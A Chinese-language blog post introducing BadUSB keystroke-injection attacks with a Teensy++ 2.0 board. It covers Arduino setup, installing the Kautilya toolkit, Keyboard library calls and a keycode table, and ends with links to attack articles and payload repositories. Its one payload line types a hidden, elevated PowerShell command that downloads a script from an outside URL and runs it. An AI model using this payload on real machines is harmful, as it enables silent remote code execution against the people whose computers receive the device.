threst's Blog

BadUSB初探

2018/11/02 Share

Teensy USB开发板

Teensy是一个非常小的完整的基于USB接口的单片机开发系统,能够实现多种类型的项目。所有的编程是通过USB端口。在没有特殊的程序要求下,只有一个标准的Mini-B USB电缆和PC或Macintosh电脑的USB端口。

主要特点:

可以是任何类型设备的USB
AVR处理器,16 MHz
单个按键编程
易于使用的Teensy Loader应用程序
免费软件开发工具
兼容Mac OS X,Linux和Windows
小尺寸,许多项目的完美支持
使用标签面包板
非常低的成本

所需工具:

1.Teensy ++ 2.0 
2.Teensyduino插件v1.44
3.arduino v1.8.7

arduino下载
Teensyduino插件下载地址
Teensy Loader

1.Arduino软件不支持Teensy,因此您必须运行Teensyduino安装程序 才能将Teensy文件添加到Arduino软件中。

2.如果您使用的是Linux,则 必须将49-teensy.rules文件复制到/etc/udev/rules.d/,以便非root用户访问Teensy USB设备

3.板子正常编译的时候会弹出teensy的窗口,按下板子上面的按钮,等下teensy就会识别出插入的是什么型号的板子.只有识别出才可以上传代码。

注意:arduino选teensy++2.0板子,usb type 类型选第二个,要不提示Keyboard变量不存在

Kautilya安装

1
2
3
4
5
6
git clone https://github.com/samratashok/Kautilya && cd Kautilya
bundle install
ruby kautilya.rb

Updates:
git pull origin master

keyboard语法

盘功能使32u4或SAMD微型板能够通过微型原生USB端口向连接的计算机发送击键。注意:并非所有可能的ASCII字符,特别是非打印字符,都可以通过键盘库发送。

Keyboard.print()Keyboard.println()都是屏幕输出,后者换行输出
Keyboard.press()功能就像按下键并按住键盘一样
Keyboard.release()释放键盘,和press向对应
Keyboard.write()向所连接的计算机发送击键。这类似于按下和释放键盘上的键。您可以发送一些ASCII字符或其他键盘修饰符和特殊键。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
按键  键码  按键  键码  按键  键码  按键  键码
A 65 J 74 S 83 1 49
B 66 K 75 T 84 2 50
C 67 L 76 U 85 3 51
D 68 M 77 V 86 4 52
E 69 N 78 W 87 5 53
F 70 O 79 X 88 6 54
G 71 P 80 Y 89 7 55
H 72 Q 81 Z 90 8 56
I 73 R 82 0 48 9 57


按键 键码 按键 键码 按键 键码 按键 键码
0 96 8 104 F1 112 F7 118
1 97 9 105 F2 113 F8 119
2 98 * 106 F3 114 F9 120
3 99 + 107 F4 115 F10 121
4 100 Enter 108 F5 116 F11 122
5 101 - 109 F6 117 F12 123
6 102 . 110
7 103 / 111

按键 键码 按键 键码 按键 键码 按键 键码
BackSpace 8 Esc 27 Right Arrow 39 -_ 189
Tab 9 Spacebar 32 Down Arrow 40 .> 190
Clear 12 Page Up 33 Insert 45 /? 191
Enter 13 Page Down 34 Delete 46 `~ 192
Shift 16 End 35 Num Lock 144 [{ 219
Control 17 Home 36 ;: 186 /| 220
Alt 18 Left Arrow 37 =+ 187 ]} 221
Cape Lock 20 Up A

payload编写

全屏装逼

1
Keyboard.println("START-PROCESS -fILEpATH POWERSHELL \" -NOP -W HIDDEN -C SET-eXECUTIONpOLICY rEMOTEsIGNED -FORCE;CD $ENV:PUBLIC;(nEW-oBJECT sYSTEM.nET.wEBcLIENT).dOWNLOADfILE(\'HTTP://image.3001.net/images/20160411/14603516445510.jpg\',\'C:\\USERS\\PUBLIC\\GET.PS1\');./GET.PS1;EXIT\" -vERB RUNAS;EXIT");

START-PROCESS你可以指定浏览器和带上URL参数

文章

实战Teensy烧录渗透测试U盘
Teensy HID 攻击工具 Kautilya 的改进与稳定利用分析
Teensy ++ 2.0和Metasploit
Teensy ++ 2.0 Metasploit第2部分
Teensy ++ 2.0 Metasploit第3部分
BadUSB —— Teensy++2.0
关于HID攻击介绍
Teensy之简单代码编写
利用Arduino快速制作Teensy BadUSB
使用TeensyLoader

Payload

Kautilya
Brutal
teensy
https://github.com/Ozuru/Paensy/tree/master/Payloads

CATALOG
  1. 1. Teensy USB开发板
  2. 2. Kautilya安装
  3. 3. keyboard语法
  4. 4. payload编写
  5. 5. 文章
  6. 6. Payload